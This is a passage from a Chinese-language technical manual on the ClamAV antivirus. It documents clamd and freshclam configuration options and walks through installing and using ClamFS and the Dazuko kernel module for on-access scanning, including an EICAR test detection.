# in all 32 and 64-bit versions of Windows operating

# systems. This option allows

# ClamAV to perform a deeper analysis of executable

# files and it's also

# required for decompression of popular executable

# packers such as UPX, FSG,

# and Petite.

# Default: yes

# ScanPE yes

# Executable and Linking Format is a standard

# format for UN*X executables.

# This option allows you to control the scanning of ELF files.

# Default: yes

# ScanELF yes

# With this option clamav will try to detect

# broken executables (both PE and

# ELF) and mark them as Broken.Executable.

# Default: no

# DetectBrokenExecutables yes

##

## 文档（Documents）

##

# 这个选项支持扫描OLE2 文件, 例如Microsoft Office

# 文件和.msi 文件。

# Default: yes

# ScanOLE2 yes

# 这个选项支持扫描PDF 文件。

# Default: yes

# ScanPDF yes

##

## Mail 文件

##

# 开启电子邮件扫描功能。

# Default: yes

# ScanMail yes

# 如果邮件中包含URLs ，那么ClamAV 会下载并扫描它们。

# 警告: 这个选项可能会导致对系统的DoS 攻击，

#　在服务器上不要这么用。

# Default: no

# MailFollowURLs no

# 扫描RFC1341 信息 split over many emails.

# 需要定期地打扫（clean up）$Temporary 目录/clamav-partial 目录。

# 警告: 这个选项可能会导致对系统的DoS 攻击，

#　在服务器上不要这么用。

# Default: no

# ScanPartialMessages yes

# With this option enabled ClamAV will try to

# detect phishing attempts by using

# signatures.

# Default: yes

# PhishingSignatures yes

# Scan URLs found in mails for phishing attempts using heuristics.

# Default: yes

# PhishingScanURLs yes

# Always block SSL mismatches in URLs, even if

# the URL isn't in the database.

# This can lead to false positives.

#

# Default: no

# PhishingAlwaysBlockSSLMismatch no

# Always block cloaked URLs, even if URL isn't in database.

# This can lead to false positives.

#

# Default: no

# PhishingAlwaysBlockCloak no

# Allow heuristic match to take precedence.

# When enabled, if a heuristic scan (such as phishingScan) detects

# a possible virus/phish it will stop

# scan immediately. Recommended, saves CPU

# scan-time.

# When disabled, virus/phish detected by heuristic

# scans will be reported only at

# the end of a scan. If an archive contains both

# a heuristically detected

# virus/phish, and a real malware, the

# real malware will be reported

#

# Keep this disabled if you intend to handle

# "*.Heuristics.*" viruses

# differently from "real" malware.

# If a non-heuristically-detected virus

# (signature-based) is found first,

# the scan is interrupted immediately,

# regardless of this config option.

#

# Default: no

# HeuristicScanPrecedence yes

##

## 数据丢失防护（DLP）

##

# 支持DLP 模块。

# Default: No

# StructuredDataDetection yes

# 这个选项设置在一个文件中找到最短的信用

# 卡号码（Credit Card Number）产生的检测。

# Default: 3

# StructuredMinCreditCardCount 5

# 这个选项设置在一个文件中找到最短的

# 社保号（Social Security Numbers）产生的检测。

# Default: 3

# StructuredMinSSNCount 5

# 开启本选项会让DLP 模块以xxx-yy-zzzz 的格式搜索。

# Default: yes

# StructuredSSNFormatNormal yes

# 开启本选项会让DLP 模块以xxxyyzzzz 的格式搜索。

# Default: no

# StructuredSSNFormatStripped yes

##

## HTML

##

# 执行HTML 正常化和解密MS 脚本编码器编码。

# Default: yes

# ScanHTML yes

##

## 归档（Archives）

##

# ClamAV 可以扫描归档和压缩文件。

# Default: yes

# ScanArchive yes

# 标记加密文档为病毒文件（Encrypted.Zip 和Encrypted.RAR）。

# Default: no

# ArchiveBlockEncrypted no

##

## 限制（Limits）

##

# 下列选项保护系统免受档案炸弹（archive bombs）的

# 拒绝服务攻击。

#

# 这个选项是用来设置扫描每一个输入的文件的最大数据量，

# 归档文件或者是其他包含文件的文件在解压和扫描时也

# 受到这个限制。

# 注意: 禁用该限制或设置它太大,对系统会导致严重损害。

# 值为0 表示没限制

# Default: 25M

# Default: 100M

# MaxScanSize 150M

# 对大文件扫描的限制，如果文件大于变量MaxFileSize 给定的值，

# 那么该文件将不再被扫描，

# 影响输入文件本身以及包含在其中的文件（当输入的文件是一个

# 归档文件（archive）、文档（document）或是其他包含文件时）。

# 注意: 禁用该限制或设置它太大,对系统会导致严重损害。

# 值为0 表示没限制# Default: 25M

# MaxFileSize 30M

# 嵌套归档文件的递归扫描。例如一个Zip 文档中包含一个RAR 文件，

# 那么所有的Zip 内的文件都将会被扫描，这个选项是用

# 来指定递归处理的深度。

# 注意: 禁用该限制或设置它太大,对系统会导致严重损害。

# 值为0 表示没限制。

# Default: 16

# MaxRecursion 10

# 设置在扫描一个归档文件（archive）、文档（document）或

# 是其他包含文件的文件的最大文件数。

# 值为0 表示没限制。

# 注意: 禁用该限制或设置它太大,对系统会导致严重损害。

# Default: 10000

# MaxFiles 15000

##

## Clamuko 设置

## 警告: 这是实验性的软件，它很可能会挂掉系统! ! !

##

# 要使用Clamuko，Dazuko（/dev/dazuko）必须配置并且运行。

# Default: no

# ClamukoScanOnAccess yes

# 设置Clamuko 访问掩码。

# Default: no

# ClamukoScanOnOpen yes

# ClamukoScanOnClose yes

# ClamukoScanOnExec yes

# 设置包括的路径（其中所有的文件都将被扫描）。

# 可以设置多个ClamukoIncludePath，但是每一个

# 目录必须另起一行。

# Default: disabled

# ClamukoIncludePath /home

# ClamukoIncludePath /students

# 设置执行路径，所有的子目录不包括在内。

# Default: disabled

# ClamukoExcludePath /home/bofh

# 不扫描大于ClamukoMaxFileSize 的文件。

# 值为0 表示没限制。

# Default: 5M

# ClamukoMaxFileSize 10M




11.4.2 freshclamconf配置文件格式


文件包括注释行和带有参数的选项行。以“#”开头的行为注释行，被解析器忽略。选项和参数区别大小写。

1．配置文件中变量的参数类型

不同的变量使用不同类型的参数，freshclam配置文件中的变量参数类型有以下4类。

布尔型（BOOL）、字符串型（STRING）、SIZE和NUMBER型。

参数类型如表11.2所示。


表11.2 配置文件的参数类型

[image: figure_0180_0078]


2．配置文件变量（或者叫选项或指令）

当一个变量没有被使用时，freshclam会使用一个默认的参数。下面是整理的变量。

Example

功能：指示这是一个示例配置文件，如果在配置文件中设置这个变量，那么clamd 不会运行。

DatabaseOwner

功能：如果 freshclam 是由 root 运行,那么会降级特权用户为一个指定的用户。和其他的ClamAV命令一样，默认用户为clamav。

默认值：clamav

取值类型：STRING

AllowSupplementaryGroups

功能：初始化允许附加组访问（freshclam必须由root运行）。

默认值：disabled

取值类型：BOOL

DatabaseDirectory

功能：包含数据库文件的目录。

默认值：clamav/share/clamav

取值类型：STRING

Checks

功能：freshclam 每天检测的次数。这个选项是 freshclam 运行在守护进程的方式下，每天检测病毒库更新的次数。

默认值：12

取值类型：NUMBER

UpdateLogFile

功能：将日志写入指定的文件。

默认值：disabled

取值类型：STRING

LogSyslog

功能：启用Syslog。可能UpdateLogFile 文件会用 combination 格式。

默认值：disabled

取值类型：BOOL

LogFacility

功能：指定syslog 消息级别。

默认值：LOG_LOCAL6

取值类型：STRING

PidFile

功能：保存pid 到指定的文件。

默认值：disabled

取值类型：STRING

LogVerbose

功能：开启日志的详细模式。

默认值：disabled

取值类型：BOOL

DNSDatabaseInfo

功能：这个变量使得数据库和软件版本检测通过 DNS TXT 记录。默认为开启，指向current.cvd.clamav.net。

默认值：enabled

取值类型：STRING

DatabaseMirror

功能：指定升级的服务器名字。为了从最近的镜像下载，应该配置为db.xy.clamav.net，xy 是国家代码。这个选项可以多次使用，freshclam 会按顺序去尝试。强烈推荐将db.xy.clamav.net作为第一个，database.clamav.net作为第二个。

默认值：database.clamav.net

取值类型：STRING

MaxAttempts

功能：每个镜像尝试的次数。

默认值：3（每个镜像）

取值类型：NUMBER

ScriptedUpdates

功能：控制脚本升级（scripted updates），强烈推荐使用。

默认值：enabled

取值类型：BOOL

CompressLocalDatabase

功能：默认情况下，freshclam 将不使本地数据库（.cld）压缩，目的是让他们处理得更快。通过这个选项可以使数据库压缩，改变将会影响下一次数据库升级。

默认值：no

取值类型：BOOL

HTTPProxyServer

HTTPProxyPort

功能：HTTP 代理设置，数据库服务器的域名和端口号。

取值类型：STRING (HTTPProxyServer)

取值类型：NUMBER (HTTPProxyPort)

HTTPProxyUsername

HTTPProxyPassword

功能：设置代理的用户名和密码。

默认值：默认没有认证

取值类型：STRING

HTTPUserAgent

功能：如果用户的服务器在防火墙/代理的后面，使用了User-Agent过滤，使用这个选项将强迫使用一个不同的User-Agent头。

默认值：clamav/version_number

取值类型：STRING

LocalIPAddress

功能：使用指定的客户端IP 作为下载数据库的IP，这个设置对于多宿主机很有用。

默认值：使用操作系统默认的IP地址

取值类型：IP地址

NotifyClamd

功能：更新完成病毒库后通知正在运行的clamd 重新载入（reload）数据库。注意必须提供clamd.conf的路径。

参考clamd.conf 中SelfCheck 变量的用法，可以得知在这种情况下clamd 处理数据库的更新的方法。

默认值：默认不通知

取值类型：STRING

OnUpdateExecute

功能：数据库升级成功后执行指定的命令。

默认值：disabled

取值类型：STRING

OnOutdatedExecute

功能：当freshclam报告过时的版本（outdated version）时，执行指定的命令，在命令中字符串“%v”将被新的版本号取代。

默认值：disabled

取值类型：STRING

OnErrorExecute

功能：数据库升级失败执行指定的命令。

默认值：disabled

取值类型：STRING

ConnectTimeout

功能：指定连接数据库超时时间，单位是秒。

默认值：10

取值类型：NUMBER

ReceiveTimeout

功能：指定从数据库传输数据超时的时间，单位是秒。

默认值：30

取值类型：NUMBER

SubmitDetectionStats

功能：开启这个功能后，freshclam将会在运行环境中发送ClamAV的最新病毒检测版本。ClamAV也会使用最新的病毒数据库去确定恶意软件的类型和检查恶意软件的地理位置。开启这个功能需要在配置文件clamd.conf中将LogTime和LogFile变量开启。

默认值：disabled

取值类型：STRING

DetectionStatsCountry

功能：恶意软件/检测统计（目的仅为统计），恶意软件的原产国及统计状态。ClamAV.net 的状态收集器（statisticscollector）可以根据客户端的IP地址决定恶意软件的地理来源。要启用此功能可以用一个两字母的国家代码作为这个变量的值。有关国家代码可以在以下网址查看http://www.iana.org/domains/root/db/。

默认值：disabled

取值类型：STRING

3．解析配置文件

结合上面的变量及参数分析一下freshclam的配置文件，以便更好的配置freshclam。

[root@nas etc]# more freshclam.conf

##

## 这是一个freshclam 的示例性配置文件，

## 编辑本文件前请先读freshclam.conf(5)手册。

##

# 注释或者是删除下列行。

Example

# 指定数据库路径。

# 警告: 必须和配置文件clamd.conf 中的指令指定的位置匹配!

# 默认: 硬编码（hardcoded）（依赖于安装时的选项）

# DatabaseDirectory /var/lib/clamav

# 日志文件的路径（要确定适当的文件权限）。

# Default: disabled

# UpdateLogFile /var/log/freshclam.log

# 日志文件的最大字节数。

# 值为0 表示无限制。

# You may use 'M' or 'm' for megabytes (1M = 1m = 1048576 bytes)

# and 'K' or 'k' for kilobytes (1K = 1k = 1024 bytes).

# in bytes just don't use modifiers.

# Default: 1M

# LogFileMaxSize 2M

# 每条日志信息都有时间戳。

# Default: no

# LogTime yes

# 启用详细日志记录。

# Default: no

# LogVerbose yes

# 使用系统日志（和UpdateLogFile 一同工作）。

# Default: no

# LogSyslog yes

# 指定syslog 消息类别。

# Default: LOG_LOCAL6

# LogFacility LOG_MAIL

# 保存守护进程的pid。

# Default: disabled

# PidFile /var/run/freshclam.pid

# 默认情况下，freshclam 开始运行后会降级特权用户为

# “clamav”用户，本选项允许改变数据库的属主。

# 默认: clamav（依赖于安装时的选项）

# DatabaseOwner clamav

# 初始化允许附加组访问（freshclam 必须由root 运行）。

# Default: no

# AllowSupplementaryGroups yes

# 使用DNS 校验病毒数据库版本。Freshclam 使用DNS TXT 记录

# 校验数据库和软件版本。通过这个变量可以改变数据库校验域名。

# 警告: 不要修改它！除非配置freshclam 使用自己的数据库校验域名。

# Default: current.cvd.clamav.net

# DNSDatabaseInfo current.cvd.clamav.net

# 不要注释掉下列行，用本国的国家代码代替XY。

# 查看http://www.iana.org/cctld/cctld-whois.htm 找国家代码。

# DatabaseMirror db.XY.clamav.net

# database.clamav.net 是一个轮询（round-robin）记录，指向可信的镜像。

# 这么做的目的在于万一db.XY.clamav.net 不能工作，

# 还可以作为一个倒退（fall back）。

# 不要修改（DO NOT TOUCH）下列行，除非你知道你在做什么。

DatabaseMirror database.clamav.net

# 尝试次数。

# Default: 3（per mirror）

# MaxAttempts 5

#通过使用这个选项可以控制脚本升级（scripted updates）。强烈推荐使用。

# Default: yes

# ScriptedUpdates yes

# 参考“配置文件变量”。

# Default: no

# CompressLocalDatabase no

# 每天检测数据库的次数。

# Default: 12（every two hours）

# Checks 24

# 代理设置。

# Default: disabled

# HTTPProxyServer myproxy.com

# HTTPProxyPort 1234

# HTTPProxyUsername myusername

# HTTPProxyPassword mypass

# 参考“配置文件变量”。

# Default: clamav/version_number

# HTTPUserAgent SomeUserAgentIdString

# 使用 aaa.bbb.ccc.ddd 作为客户端IP 地址下载数据库，

# 对于多宿主机很有用。

# 默认:使用操作系统和外网连接的IP 地址。

# LocalIPAddress aaa.bbb.ccc.ddd

# 发送RELOAD 命令给clamd。

# Default: no

# NotifyClamd /path/to/clamd.conf

# 数据库成功升级后运行的命令。

# Default: disabled

# OnUpdateExecute command

# 数据库升级失败后运行的命令。

# Default: disabled

# OnErrorExecute command

# 参考“配置文件变量”。

# Default: disabled

# OnOutdatedExecute command

# 不要转入后台。

# Default: no

# Foreground yes

# 启用libclamav 调试信息。

# Default: no

# Debug yes

# 连接数据库服务器超时。

# Default: 30

# ConnectTimeout 60

# 读取数据库超时。

# Default: 30

# ReceiveTimeout 60

# 参考“配置文件变量”。

# Default: no

# SubmitDetectionStats /path/to/clamd.conf

# 参考“配置文件变量”。

# Default: disabled

# DetectionStatsCountry country-code

# 这个选项是0.95 版本的新功能，它的作用是

# 支持谷歌浏览（Google Safe Browsing）。

# 开启本功能后，首先freshclam 会下载

# 新的数据库文件（safebrowsing.cvd）。

# 这个数据库会被clamd 和clamscan 在下次运行时自动载入，

# 提供并打开了试探性的网络钓鱼检测。

# 这个数据库包括有关可能含有网络钓鱼的站点

# 的信息以及恶意软件的来源。

# 当使用这个功能后，freshclam 会强制性地至

# 少每30 分钟执行一次。

# Freshclam 使用ClamAV 的镜像基础结构分配数据库和升级。

# 所有谷歌的使用条款内容查看如下网页。

# See http://code.google.com/support/bin/answer.py?answer=70015

# and http://safebrowsing.clamav.net for more information.

# Default: disabled

# SafeBrowsing yes




第12章 Clamd与用户文件系统


本章的内容包括了 ClamFS 用户文件系统、Clamuko、Dazuko 及Dazukofs。clamd有趣的特征之一是On-access扫描，即访问时扫描，这种机制可以通过这4种方式实现，它们实现的方式不同，但是实现的功能是一致的，那就是不让带有病毒的文件被访问。

Dazukofs完全独立于Dazuko，Dazukofs使用一个与Dazuko不同的用户接口（interface）和驱动器（devices），由于它们不共享代码或资源，所以可以同时使用Dazuko和Dazukofs。其中Clamuko是在ClamAV中嵌入的功能，其他的还需要安装第三方软件。

对用户文件系统的扫描非常重要。每个Linux系统上的用户都有可能获取更高的权限，直至root用户权限。因此，一旦某用户的文件感染了病毒，而且该病毒在linux系统下是一个可以执行的病毒，那么后果不堪设想，它将会使得客户端或/和服务器端的机器失去可用性。




12.1 ClamFS用户文件系统


ClamFS 是一个基于 FUSE 的用户文件系统，在 Linux 系统下通过 clamd 守护进程做访问时扫描（on-access）的病毒防护软件。官方网站为http://ClamFS.sourceforge.net/。ClamFS将一个要作为病毒保护的文件系统挂载到系统目录树的某一个已经存在的目录下。

可以对公共使用的目录做ClamFS，也可以与sshfs文件系统结合使用。




12.1.1 安装要求


在GNU/Linux 编译安装ClamFS 需要先安装以下软件。

* FUSE

* GNU libCommonCpp(commoncpp2)

* RLog

* POCO

*boost >= 1.33

相应的下载地址分别如下。

FUSE：http://sourceforge.net/projects/fuse/

libCommonCpp：http://www.gnu.org/software/commoncpp/

rlog：http://freshmeat.net/projects/rlog/

POCO：

http://cdnetworks-kr-2.dl.sourceforge.net/project/poco/sources/poco-1.3.6/poco-1.3.6p2.tar.gz

Boost：

http://219.239.26.4/download/3544800/4520721/0/gz/166/207/1267102235558_719/boost_1_42_0. tar.gz




12.1.2 ClamFS文件系统原理


Dazuko为Linux提供了完全的用户空间（user-space）病毒防护方案。它使用libfuse和Linux内核模块提供文件系统。使用ClamAV作为反病毒扫描软件。图 12.1是ClamFS的工作结构图（来源于http://ClamFS.sourceforge.net/）。

[image: figure_0189_0079]
图12.1 ClamFS的工作结构图



一般的程序（或者库）使用glibc调用open()来获得文件的描述符，Glibc调用内核的VFS来打开任何Linux文件系统中的文件，如图12.2所示。

如果是使用ClamFS文件系统，情况就不一样了。程序（或者库）使用FUSE直接到用户空间，ClamFS利用FUSE调用libfuse穿过VFS，如图12.3所示。

[image: figure_0190_0080]
图12.2 一般的程序调用



[image: figure_0190_0081]
图12.3 ClamFS文件系统






12.1.3 功能


ClamFS文件系统包括以下功能。

用户空间文件系统；

配置文件存储在XML文件中；

FUSE（包括 libfuse）作为文件系统的后端；

使用ClamAV扫描文件；

ScanCache 使用LRU 算法提高访问文件的速度；

检测出病毒给管理员发送邮件。




12.1.4 内部组织结构


图12.4为ClamFS文件系统内部组织结构图。

[image: figure_0190_0082]
图12.4 ClamFS文件系统内部组织结构图



ClamFS分为如下4部分。

libfuse bindings – 用于与FUSE通信（穿过VFS）；

ScanCache –存储扫描结果以便提高访问速度；

ScanQueue –扫描文件的队列；

clamd/libclamav bindings –通过clamd/libclamav 进行扫描。




12.1.5 ClamFS的简化流程图


图12.5是ClamFS的工作流程图。在这个流程图中，能够清楚地看到它使用了两种机制，一种是 cache 机制，另一种是队列机制。对 cache 机制的使用能够有效地提高处理效率。而对于队列机制的使用，能够合理地使用机器的资源。

[image: figure_0191_0083]
图12.5 ClamFS的工作流程图






12.1.6 编译安装


由于ClamFS没有默认的配置文件目录，所以在安装完成后要建立一个etc目录。当然根据个人喜好，不建立也可以，只要在启动ClamFS时指定相应的文件路径就可以了。

[root@www ]wget http://cdnetworks-kr-2.dl.sourceforge.net/　\

> project/ClamFS/ClamFS/1.0.1/ClamFS-1.0.1.tar.gz

[root@www]tar –zxvf ClamFS-1.0.1.tar.gz

[root@www ClamFS-1.0.1]# ./configure --prefix=/usr/local/ClamFS

[root@www ClamFS-1.0.1]make

[root@www ClamFS-1.0.1]make install

[root@www ClamFS-1.0.1]mkdir /usr/local/ClamFS/etc

[root@www ClamFS-1.0.1]cp doc/ ClamFS.xml /usr/local/ClamFS/etc




12.1.7 安装后的文件结构


[root@mail local]# tree ClamFS/

ClamFS/

|-- bin

|　'-- ClamFS

|-- etc

|　'-- ClamFS.xml

'-- share

'-- man

'-- man1

'-- ClamFS.1

5 directories, 3 files

不难看出，只有一个ClamFS命令文件及其man文档和ClamFS.xml配置文件。




12.1.8 ClamFS命令


ClamFS 命令使用很简单，采用“ClamFS 配置文件名”的格式，如下所示。

[root@www doc]# /usr/local/ClamFS/bin/ClamFS　/usr/local/ClamFS/etc/ClamFS.xml




12.1.9 配置文件


ClamFS 的配置文件使用了 xml 文件格式。先分析一下它的配置文件有助于更好地使用ClamFS。

配置文件基本上分为如下7部分。

① clamd 套接字的设置

② 文件系统设置

③ 黑白名单设置

④ Cache 设置

⑤ 日志记录设置

⑥ 发送邮件设置

⑦ 调试设置

下面对配置文件做进一步的解释。

<?xml version="1.0" encoding="UTF-8"?>

<!—只有下列选项是必须修改

<clamd socket="" /> clamd 套接字

<filesystem root="" /> 文件系统的根目录

<filesystem mountpoint="" /> 文件系统的挂载点

All other can be removed, but this will disable related subsystem.

For example removing <cache ... /> will disable caching completly. -->

<ClamFS>

<!-- clamd 套接字的设置

socket – clamd 的本地套接字（这个要根据不同的系统设置不同的值）

Debian GNU/Linux 是 /var/run/clamav/clamd.ctl,

FreeBSD 是/var/run/clamav/clamd.sock.

check -（yes 或者 no）在启动时检测clamd 是否有效（对于使用/etc/fstab

挂载ClamFS 文件系统，这样ClamFS 文件系统要早于ClamAV 守护进程

的启动是很有用）-->

<clamd socket="/tmp/clamd.socket" check="yes" />

<!—文件系统设置

root　　-作为附上（attach）根真正的目录（被挂载）

mountpoint - 挂载点

readonly　-（yes或者no）是否挂载文件系统为只读模式

public　-（yes或者no）限制访问，no为只有进程的所有者才可以访问；

yes为所有的用户都可以访问

nonempty -（yes 或者no）是否允许挂载到包含文件或子目录的目录-->

<filesystem root="/tt" mountpoint="/mnt/ClamFS" public="yes" nonempty="yes"/>

<!—最大文件的大小（字节）

This option can speed up access to large files, as they will be

never scanned. On the other hand attacker can append long portion

of junk at the end of file to make it big enough to be omitted. -->

<file maximal-size="2097152" /> <!-- 2MiB -->

<!—白名单（Whitelisted）文件，这类文件都不会被扫描。

使用白名单会提高访问速度，但是要特别小心。 -->

<whitelist>

<exclude extension="dat" /> <!-- form ClamWin -->

<!--………..　　//省略部分-->

<exclude extension="tbb" /> <!-- form ClamWin -->

</whitelist>

<!—黑名单（Blacklisted）文件都会被扫描，而不管它们的大小。-->

<blacklist>

<include extension="ade" /> <!-- Access project extension file -->

<include extension="adp" /> <!-- Access project file -->

<!--………..　　//省略部分-->

<include extension="cmd" /> <!-- Windows command file -->

<include extension="wsh" /> <!-- Windows Scripting Host file -->

<include extension="txt" /> <!—txt 是自己加入的，提供的配置文件中没有 -->

</blacklist>

<!—cache的条目多少及其生存期-->

<cache entries="16384" expire="10800000" /> <!—时间单位是：ms>

<!--统计模块（Statistics module）追踪文件系统的使用情况-->

<stats atexit="yes" every="3600" /> <!-- 时间单位是：sec>

<!—记录日志的方法（标准输出stdout, 系统日志syslog 或者是记录到指定的文件，

还可以设定参数verbose以详细记录）-->

<!-- <log method="stdout" verbose="yes" /> -->

<!-- <log method="syslog" /> -->

<log method="file" filename="/var/log/ClamFS.log" verbose="yes" />

<!—发现病毒发送邮件-->

<mail server="mail.jmm.cn" to="t1@jmm.cn" from="ClamFS@localhost"

subject="ClamFS: Virus detected" />

<!-- subject="ClamFS: Virus detected on @@HOSTNAME@@" /> -->

<!—调试设置 -->

<debug threads="yes" fork="yes" />

</ClamFS>




12.1.10 启动ClamFS


ClamFS在启动成功后会自动转入后台运行。

[root@www doc]# /usr/local/ClamFS/bin/ClamFS /usr/local/ClamFS/etc/ClamFS.xml

13:44:15 (ClamFS.cxx:963) ClamFS v1.0.1

13:44:15　(ClamFS.cxx:964)　Copyright　(c)　2007,2008　Krzysztof　Burghardt<krzysztof@burghardt.pl>

13:44:15 (ClamFS.cxx:965) http://ClamFS.sourceforge.net/

13:44:15 (ClamFS.cxx:1050) chdir to our 'root' (/tt)

13:44:15　(clamav.cxx:58)　attempt　to　open　control　connection　to　clamd　via/tmp/clamd.socket

13:44:15 (clamav.cxx:63) connected to clamd

13:44:15 (clamav.cxx:81) got valid reply for PING command, clamd works

13:44:15 (clamav.cxx:88) closing clamd connection

13:44:15 (ClamFS.cxx:1091) ScanCache initialized, 16384 entries will be kept for 10800000 ms max.

13:44:15 (ClamFS.cxx:1102) Statistics module initialized

13:44:15 (rlog.cxx:105) log goes to file /var/log/ClamFS.log

13:44:15 (rlog.cxx:70) will close initial stdio log

查看启动情况。

[root@www doc]# ps -ef|grep ClamFS

root　19390　　1　0　13:32　?　　　00:00:00　/usr/local/ClamFS/bin/ClamFS/usr/local/ClamFS/etc/ClamFS.xml

同时可以打开/var/log/ClamFS.log日志文件。

13:44:15 (rlog.cxx:105) log goes to file /var/log/ClamFS.log

13:44:15 (rlog.cxx:70) will close initial stdio log

13:44:15 (rlog.cxx:73) closed initial stdio log

13:44:15 (ClamFS.cxx:1134) extension ACL size is 48 entries

查看挂接情况。

[root@www doc]# mount |grep ClamFS

ClamFS on /mnt/ClamFS type fuse (rw,nosuid,nodev,allow_other,default_permissions)

在这里可以很清楚地看到是ClamFS类型的文件系统，它是通过fuse来实现的。




12.1.11 使用ClamFS文件系统


现在从其他目录向“/mnt/ClamFS”拷贝一个文件，同时查看 ClamFS 的日志文件“/var/log/ClamFS.log”。

① 拷贝文件命令如下。

[root@www ClamFS]cp /tmp/vir-Xe0xdz ./

② 查看ClamFS 日志命令如下。

[root@www ClamFS]#tail -f /var/log/ClamFS.log

……

13:59:33 (ClamFS.cxx:590) Extension not found in unordered_map

13:59:33 (ClamFS.cxx:675) early cache miss for inode 197241

13:59:33 (clamav.cxx:101) attempt to scan file /tt/libol-0.3.18.tar.gz

13:59:33 (clamav.cxx:111) started scanning file /tt/libol-0.3.18.tar.gz

13:59:33　(clamav.cxx:58)　attempt　to　open　control　connection　to　clamd　via/tmp/clamd.socket

13:59:33 (clamav.cxx:63) connected to clamd

13:59:33 (clamav.cxx:88) closing clamd connection

13:59:33 (clamav.cxx:126) /tt/vir-Xe0xdz: OK

可见文件已被拷贝到/mnt/ClamFS目录。

访问文件并监控clamd.log日志。

① 访问文件命令如下。

[root@www ClamFS]# more vir-RyualB

vir-RyualB: Operation not permitted

② 查看ClamFS.log命令如下。

[root@www ～]# tail -f /tmp/clamd.log

……

23:02:38 (ClamFS.cxx:675) early cache miss for inode 4707736

23:02:38 (clamav.cxx:101) attempt to scan file /tt/vir-Xe0xdz

23:02:38 (clamav.cxx:111) started scanning file /tt/vir-Xe0xdz

23:02:38　(clamav.cxx:58)　attempt　to　open　control　connection　to　clamd　via/tmp/clamd.socket

23:02:38 (clamav.cxx:63) connected to clamd

23:02:38 (clamav.cxx:88) closing clamd connection

23:02:38 (clamav.cxx:126) /tt/vir-Xe0xdz: Eicar-Test-Signature FOUND

23:02:38 (clamav.cxx:138) (more:30732) (root:0) /tt/vir-Xe0xdz: Eicar-Test-Signature FOUND

可看出clamd对ClamFS文件系统的文件起到扫描的作用。




12.1.12 关闭ClamFS进程


相对于其他的进程来说，ClamFS的关闭很简单，只要卸载挂接的文件系统就可以了。

[root@www doc]# umount /mnt/ClamFS/

[root@www doc]#

[root@www doc]# ps -ef|grep ClamFS

[root@www doc]#




12.2 Dazuko


clamd 有趣的特征之一是 On-access 扫描。On-access 扫描基于 Dazuko 实现，因此要实现On-access扫描首先要安装Dazuko模块。Dazuko可以从http://www.dazuko.org/下载。访问扫描可以实现在文件被访问的时候及时地对文件进行病毒扫描，利用Dazuko对请求I/O进行拦截，以便能在第一时间阻止病毒进入系统。




12.2.1 概述Dazuko


Dazuko实际上是一种在访问时扫描的机制，它本身的功能不是很强大，但是和第三方软件结合起来功能就强大了。正如我们将要介绍的，如果Dazuko和ClamAV结合起来就会实现对Linux文件系统的访问扫描。




12.2.2 下载并安装Dazuko


官方下载命令如下。

[root@mail ～]# wget http://dazuko.dnsalias.org/files/ \

> dazukofs-3.1.3-rc1.tar.gz.md5

[root@mail ～]# wget http://dazuko.dnsalias.org/files \

> /dazuko-2.3.8.tar.gz

MD5验证如下。

[root@mail ～]# md5sum dazuko-2.3.8.tar.gz > dazuko-2.3.8.tar.gz.md5-chk

[root@mail ～]# diff dazuko-2.3.8.tar.gz.md5-chk dazuko-2.3.8.tar.gz.md5

进行configure配置如下。

[root@mail ～]#tar -zxvf dazuko-2.3.8.tar.gz

[root@mail ～]#cd dazuko-2.3.8

[root@mail dazuko-2.3.8]# ./configure

checking host system type... Linux

checking for make utility... ok (make)

checking for C compiler... ok (cc)

kernel source in /lib/modules/2.6.18-53.el5/source... yes

kernel build source in /lib/modules/2.6.18-53.el5/build... yes

acquiring Linux kernel code configuration... ok

checking if Linux is RSBAC patched... no

checking if devfs is enabled... no

discovered host system... Linux (2.6.18)

checking if security module support is enabled... yes

verifying capabilities are not built-in... built-in :(

error: capabilities are built-in to the kernel:

you will need to recompile a kernel with capabilities

as a kernel module

提示出错！

出错原因及解决方法如下。

出错原因

因为在编译 Linux 内核时把“Default Linux Capabilities”项编译入（built-in）内核了,而不是作为一个单独的模块。Linux2.6 允许有多个安全模块载入，但只有当模块本身允许其他模块被载入时才可以。不幸地是“capability”不允许其他的模块载入，而Dazuko却允许模块“堆垛（stacking）”载入。这意思其实已经很明确了，如果Linux Default Capabilities 编译为一个单独的模块，那么Dazuko 可以首先载入（loaded）,然后再载入"capability"，那么就可以让这两个安全模块（security modules）一起存在了。因此需要重新编译内核，让Linux Default Capabilities 作为一个模块存在而不是编译入（built in）内核。

解决方法

进入内核的源代码目录。

[root@mail ～]# cd /usr/src/kernels/'uname -r'-'uname -m'

然后执行如下命令。

[root@mail 2.6.18-53.el5-i686]# make menuconfig

找到

Security options --->

选择进入

然后再找到

<*> Default Linux Capabilities

用空格切换为

<M> Default Linux Capabilities

然后完成编译内核的步骤。全部编译完成后，使用新的内核就可以了。

解决问题后继续configure命令如下。

[root@mail dazuko-2.3.8]#./configure

……

./configure successful

=======================

Configuration summary

=======================

module events = ON_OPEN ON_EXEC

devfs support = no

rsbac support = no

stacking support = yes

path resolution = registered daemon context

module debug = no

library 1.x compatibility = yes

继续进行make命令如下。

[root@mail dazuko-2.3.8]# make

make -C /lib/modules/2.6.18-53.el5/build SUBDIRS="/root/dazuko-2.3.8" modules

make[1]: Entering directory '/usr/src/kernels/2.6.18-53.el5-i686'

CC [M] /root/dazuko-2.3.8/dazuko_core.o

CC [M] /root/dazuko-2.3.8/dazuko_transport.o

CC [M] /root/dazuko-2.3.8/dazuko_linux26_lsm.o

CC [M] /root/dazuko-2.3.8/dazuko_linux26.o

LD [M] /root/dazuko-2.3.8/dazuko.o

Building modules, stage 2.

MODPOST

CC　/root/dazuko-2.3.8/dazuko.mod.o

LD [M] /root/dazuko-2.3.8/dazuko.ko

make[1]: Leaving directory '/usr/src/kernels/2.6.18-53.el5-i686'

touch dummy_rule

在make的结果中我们看到生成了两个模块文件，一个是dazuko.o，另一个是dazuko.ko。

进行测试命令如下。

[root@mail dazuko-2.3.8]# make test

/sbin/modprobe commoncap

/sbin/insmod ./dazuko.ko

/sbin/rmmod dazuko

--> test successful :)

看到这个结果就表示测试成功了。

1．载入模块

注意，我们是在Linux 2.6 的内核下进行的。在前面我们看到，编译完成后会发现有两个模块：dazuko.o和dazuko.ko，前者是给2.4内核的linux用，而后者是给2.6内核的linux用的，因此这里使用的内核模块是dazuko.ko。

[root@mail dazuko-2.3.8]# /sbin/insmod dazuko.ko

如果执行这一步没有任何提示，那么表示成功载入。没有消息就是最好的消息。

为了证明一下，我们再查看一下，如下所示。

[root@mail dazuko-2.3.8]# lsmod|grep dazuko

